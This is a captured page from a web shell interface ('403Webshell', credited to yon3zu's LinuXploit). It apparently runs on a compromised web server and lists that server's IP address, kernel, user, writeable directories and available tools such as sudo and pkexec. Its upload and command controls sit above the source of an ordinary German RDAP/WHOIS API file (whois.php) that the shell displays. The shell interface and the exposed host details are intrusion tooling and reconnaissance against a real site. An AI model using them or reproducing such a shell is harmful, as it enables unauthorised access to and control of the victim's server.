403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/web21/web/api/v1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/web21/web/api/v1/whois.php
<?php
/**
 * Tier-B-Tool: WHOIS-Abfrage  →  GET /api/v1/whois.php?domain=example.com
 *
 * Nutzt RDAP (modernes, JSON-basiertes WHOIS) über den RDAP-Bootstrap
 * (rdap.org routet zur zuständigen Registry). Kein API-Key. 1 h Cache.
 * Hinweis: Personenbezogene Registrant-Daten sind bei vielen TLDs (z. B. .de)
 * aus Datenschutzgründen nicht öffentlich – wir zeigen nur, was verfügbar ist.
 *
 * @package SafeMyIdent\Api
 */

declare(strict_types=1);

require __DIR__ . '/../lib/bootstrap.php';

$domain = smi_valid_domain((string) ($_GET['domain'] ?? ''));
if ($domain === null) {
    smi_json_error('Bitte eine gültige Domain angeben (z. B. example.com).', 422);
}
if (!function_exists('curl_init')) {
    smi_json_error('WHOIS serverseitig nicht verfügbar.', 501);
}

$cacheKey  = hash('sha256', 'whois|' . $domain);
$cacheFile = sys_get_temp_dir() . '/smi-cache-' . $cacheKey;
if (is_file($cacheFile)) {
    $raw = @file_get_contents($cacheFile);
    $data = $raw !== false ? json_decode($raw, true) : null;
    if (is_array($data) && ($data['exp'] ?? 0) >= time()) {
        smi_json_ok($data['val'] ?? [], true);
    }
    @unlink($cacheFile);
}

$ch = curl_init('https://rdap.org/domain/' . rawurlencode($domain));
curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_MAXREDIRS      => 5,
    CURLOPT_TIMEOUT        => 12,
    CURLOPT_CONNECTTIMEOUT => 5,
    CURLOPT_PROTOCOLS      => CURLPROTO_HTTPS,
    CURLOPT_REDIR_PROTOCOLS => CURLPROTO_HTTPS,
    CURLOPT_USERAGENT      => 'SafeMyIdent-WHOIS/1.0 (+https://safemyident.de)',
    CURLOPT_HTTPHEADER     => ['Accept: application/rdap+json'],
]);
$resp   = curl_exec($ch);
$status = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($resp === false) {
    smi_json_error('WHOIS-Abfrage fehlgeschlagen.', 502);
}
if ($status === 404) {
    smi_json_error('Keine WHOIS-/RDAP-Daten gefunden (Domain evtl. frei oder TLD ohne RDAP).', 404);
}
if ($status !== 200) {
    smi_json_error('Diese TLD stellt keine öffentlichen RDAP-Daten bereit.', 502);
}

$rdap = json_decode((string) $resp, true);
if (!is_array($rdap)) {
    smi_json_error('Antwort konnte nicht gelesen werden.', 502);
}

// Ereignisse (Daten).
$events = [];
foreach ((array) ($rdap['events'] ?? []) as $ev) {
    if (isset($ev['eventAction'], $ev['eventDate'])) {
        $events[$ev['eventAction']] = substr((string) $ev['eventDate'], 0, 10);
    }
}

// Registrar aus den Entities (vCard „fn").
$registrar = '';
foreach ((array) ($rdap['entities'] ?? []) as $ent) {
    $roles = (array) ($ent['roles'] ?? []);
    if (in_array('registrar', $roles, true)) {
        foreach ((array) ($ent['vcardArray'][1] ?? []) as $field) {
            if (($field[0] ?? '') === 'fn') {
                $registrar = (string) ($field[3] ?? '');
                break 2;
            }
        }
    }
}

// Nameserver.
$ns = [];
foreach ((array) ($rdap['nameservers'] ?? []) as $server) {
    if (!empty($server['ldhName'])) {
        $ns[] = strtolower((string) $server['ldhName']);
    }
}

$out = [
    'domain'      => strtolower((string) ($rdap['ldhName'] ?? $domain)),
    'registrar'   => $registrar,
    'created'     => $events['registration'] ?? null,
    'updated'     => $events['last changed'] ?? ($events['last update of RDAP database'] ?? null),
    'expires'     => $events['expiration'] ?? null,
    'status'      => array_values(array_unique((array) ($rdap['status'] ?? []))),
    'nameservers' => $ns,
];

@file_put_contents($cacheFile, json_encode(['exp' => time() + 3600, 'val' => $out]));
smi_json_ok($out, false);

Youez - 2016 - github.com/yon3zu
LinuXploit